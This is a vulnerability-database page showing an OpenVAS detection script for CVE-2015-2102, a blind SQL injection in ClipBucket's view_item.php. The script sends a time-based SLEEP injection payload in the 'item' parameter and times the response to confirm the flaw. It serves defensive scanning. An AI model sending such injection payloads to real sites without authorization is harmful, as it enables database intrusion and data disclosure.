Lucene search
+L

ClipBucket < 2.7.0.5 SQLi Vulnerability - Active Check

🗓️ 05 Mar 2015 00:00:00Reported by Copyright (C) 2015 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 38 Views

ClipBucket 'view_item.php' SQL Injection Vulnerability detection scrip

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2015-2102
27 Feb 201515:59
attackerkb
cnvd
CNVD
ClipBucket SQL Injection Vulnerability
28 Feb 201500:00
cnvd
cve
CVE
CVE-2015-2102
27 Feb 201515:00
cve
cvelist
Cvelist
CVE-2015-2102
27 Feb 201515:00
cvelist
exploitdb
Exploit DB
Clipbucket 2.7 RC3 0.9 - Blind SQL Injection
23 Feb 201500:00
exploitdb
euvd
EUVD
EUVD-2015-2212
7 Oct 202500:30
euvd
nvd
NVD
CVE-2015-2102
27 Feb 201515:59
nvd
packetstorm
Packet Storm
Clipbucket 2.7.0.4.v2929-rc3 Blind SQL Injection
20 Feb 201500:00
packetstorm
prion
Prion
Sql injection
27 Feb 201515:59
prion
# SPDX-FileCopyrightText: 2015 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:oxygenz:clipbucket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805347");
  script_version("2026-06-12T07:09:59+0000");
  script_tag(name:"last_modification", value:"2026-06-12 07:09:59 +0000 (Fri, 12 Jun 2026)");
  script_tag(name:"creation_date", value:"2015-03-05 15:20:26 +0530 (Thu, 05 Mar 2015)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2015-2102");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("ClipBucket < 2.7.0.5 SQLi Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2015 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_clipbucket_http_detect.nasl");
  script_mandatory_keys("clipbucket/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"ClipBucket is prone to blind SQL injection (SQLi)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Flaw is due to the view_item.php script not properly sanitizing
  user-supplied input via the 'item' parameter.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to inject or
  manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of
  arbitrary data.");

  script_tag(name:"affected", value:"ClipBucket version 2.7.0.4.v2929. Other versions may also be
  affected.");

  script_tag(name:"solution", value:"Update to version 2.7.0.5 or later.");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/36156/");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/130485");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + "/index.php";

req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req);

item = eregmatch(pattern: "item=([0-9a-zA-Z]+)", string: res);
if (isnull(item[1]))
  exit(0);

collection = eregmatch(pattern: "collection=([0-9]+)", string: res);
if (isnull(collection[1]))
  exit(0);

# Added three times, to make sure its working properly
sleep = make_list(5, 7, 9);
wait_extra_sec = 5;

# Use sleep time to check we are able to execute command
foreach sec (sleep) {
  url = dir + "/upload/view_item.php?item="+ item[1] + "%27%20AND%20SLEEP(" + sec +
        ")%20AND%20%27Ypjn%27=%27Ypjn&type=photos&collection=" + collection[1];

  req = http_get(port: port, item: url);
  start = unixtime();
  res = http_keepalive_send_recv(port: port, data: req);
  stop = unixtime();

  time_taken = stop - start;
  if (time_taken + 1 < sec || time_taken > (sec + wait_extra_sec))
    exit(0);
}

report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);

exit(0);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation